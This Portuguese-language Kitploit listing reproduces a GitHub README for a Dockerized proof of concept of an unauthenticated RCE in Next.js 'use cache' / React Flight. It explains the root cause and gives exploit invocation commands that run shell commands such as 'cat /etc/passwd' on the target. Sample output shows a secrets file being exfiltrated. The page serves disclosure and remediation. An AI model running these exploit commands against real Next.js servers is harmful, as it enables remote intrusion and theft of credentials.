Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
GHSA-673q-mjm6-r5xr — Prova de conceito em Docker para GHSA-673q-mjm6-r5xr: uma única requisição não autenticada alcança RCE no Next.js use cache / React Flight, com uma vítima corrigida para comparação. | Kitploit
Ferramentas/GitHubGitHub/rudsarkar/ghsa-673q-mjm6-r5xr
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebPapers e PesquisaDesenvolvimento de Payloads
GitHub
Compartilhar
rudsarkar/ghsa-673q-mjm6-r5xr

GHSA-673q-mjm6-r5xr

Prova de conceito em Docker para GHSA-673q-mjm6-r5xr: uma única requisição não autenticada alcança RCE no Next.js use cache / React Flight, com uma vítima corrigida para comparação.

Ver Repositório
há 8 diasAinda não revisado

GHSA-673q-mjm6-r5xr — PoC de RCE Remoto (Next.js use cache / React Flight)

Execução Remota de Código Não Autenticada em funções use cache que retornam typed arrays Next.js >=16.0.0 <16.4.1 · CVSS v4 9.5 Crítico · CWE-502 (Desserialização de Dados Não Confiáveis) Causa raiz upstream: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-* < 19.2.9 / 19.1.10 / 19.0.9 / 19.3.1). Corrigido no Next.js 16.4.1.

Uma prova de conceito remota totalmente funcional e dockerizada: um atacante de rede envia uma única requisição HTTP não autenticada e executa comandos arbitrários como root dentro do contêiner vítima. Uma vítima corrigida, construída a partir das mesmas fontes, é imune.

 attacker container  ──HTTP POST /profile (crafted body)──▶  victim container (Next.js-style
   (no privileged access)                                     `use cache` Flight boundary)
          ▲                                                           │
          └──────────── GET /proof  ◀── server-side `id`, SECRET.txt exfil ──┘

Esta é uma reprodução autocontida do transporte Flight exato do React Server Components que o Next.js distribui (react-server-dom-webpack), fixado nas versões vulnerável (19.2.8) e corrigida (19.2.9). Consulte CASE-STUDY.md para a análise completa da causa raiz.


TL;DR

make demo         # builds images, starts both victims, pwns the vulnerable one,
                  # then shows the same exploit fail against the patched one

ou passo a passo:

docker compose up -d --build victim victim-patched   # :3000 vulnerable, :3001 patched
docker compose run --rm poc                     # RCE vs :3000   -> exit 0
docker compose run --rm poc-patched             # safe   vs :3001 -> exit 1
docker compose run --rm evidence                     # root-cause reproducers, side by side

Requisitos: Docker + Docker Compose. Não é necessário acesso à internet em tempo de execução (apenas em tempo de build para obter os pacotes npm fixados).


O que você verá

Contra a vítima vulnerável ([email protected]):

[+] REMOTE CODE EXECUTION CONFIRMED
    command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
    host    : 648b3c59052e  user: root  pid: 1
    --- command output (executed on the victim) ---
    | uid=0(root) gid=0(root) groups=0(root)
    |
    | === exfiltrated /app/SECRET.txt ===
    | DB_PASSWORD=hunter2
    | API_KEY=sk-live-7f3c9a21b0e4
    | FLAG{GHSA-673q-mjm6-r5xr-rce}
    |
    | Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux

Contra a vítima corrigida ([email protected]), a requisição idêntica é decodificada como um cartão de perfil inofensivo — os bytes do atacante permanecem dentro da string displayName e nunca se tornam instruções de protocolo:

[-] No code execution observed. Target is PATCHED.
    decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}

O padrão vulnerável

A vítima armazena em cache um "cartão de perfil" de usuário com uma função use cache no estilo Next.js. O valor armazenado em cache agrupa dois typed arrays que são views sobre o mesmo ArrayBuffer (um avatar e uma thumbnail recortados de uma única imagem decodificada — um padrão muito comum de "decodificar uma vez, recortar regiões") além de uma string controlada pelo atacante (o nome de exibição da requisição):

function getProfileCard(displayName) {
  'use cache'
  const decodedImage = new ArrayBuffer(8192 * 2)         // one decoded image
  const avatar    = new Uint8Array(decodedImage, 0, 8192)      // view 1
  const thumbnail = new Uint8Array(decodedImage, 8192, 8192)   // view 2 — SAME buffer
  return { avatar, thumbnail, displayName }                    // displayName = attacker input
}

Quando o encoder Flight do React transmite o primeiro grande array tipado para um ReadableStream de bytes, o ArrayBuffer compartilhado é desanexado (semântica de transferência do WHATWG Streams). O byteLength da segunda view torna-se silenciosamente 0 — depois de seu cabeçalho de chunk já ter declarado o comprimento original. O decodificador então faz leitura excessiva, engolindo o enquadramento do stream e permitindo que os bytes de displayName do atacante sejam analisados como linhas brutas do protocolo Flight, que injetam uma Server Reference escolhida pelo atacante. O React a invoca durante a leitura do cache → RCE. Análise completa em CASE-STUDY.md.


Layout

.
├── README.md                 you are here
├── CASE-STUDY.md             full root-cause + exploitation write-up
├── docker-compose.yml        victim (vuln), victim-patched, poc, evidence
├── Makefile                  make demo / up / exploit / evidence / clean
├── victim/
│   ├── Dockerfile            ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│   ├── server.js             faithful Next.js `use cache` encode→store→decode pipeline
│   └── app-modules.js        the server module graph the injected reference resolves against
├── poc/
│   ├── Dockerfile
│   └── exploit.js            remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
    ├── 01-encoder-desync.cjs       header declares N bytes, writes 0
    ├── 02-type-confusion-sink.cjs  thenable whose .then is a server reference
    ├── 03-full-chain-rce.cjs       desync → injection → command execution
    ├── run.sh                      runs all three against vuln AND patched
    ├── sample-run.txt              captured output
    └── upstream-diffs/             the real Next.js 16.4.0 → 16.4.1 patch diffs

Teste manual

O cliente poc é orientado por flags. Consulte seu manual completo:

docker compose run --rm poc -h          # or:  node poc/exploit.js -h
USAGE
  node exploit.js [options]

OPTIONS
  -t, --target <url>     Base URL of the victim           (default: http://localhost:3000)
  -c, --cmd <command>    Shell command to run on the victim
      --timeout <ms>     Per-request timeout in ms         (default: 15000)
      --dry-run          Build and print the payload; do not send anything
  -h, --help             Show this help and exit
      --version          Print version and exit

Exemplos:

# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'

# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run

# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'

# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile

# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq

Remediação

Atualize o Next.js para ≥ 16.4.1 (que inclui o runtime do React Flight corrigido). Se você depende diretamente de react-server-dom-webpack / -turbopack / -parcel, atualize para 19.2.9, 19.1.10, 19.0.9 ou 19.3.1. Não há solução alternativa no nível da aplicação para uma função use cache afetada — a atualização é a única correção.

Uso responsável

Este PoC tem como alvo apenas os dois contêineres descartáveis que ele cria. Use-o apenas contra sistemas que você possui ou está explicitamente autorizado a testar.

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    350
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    292

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →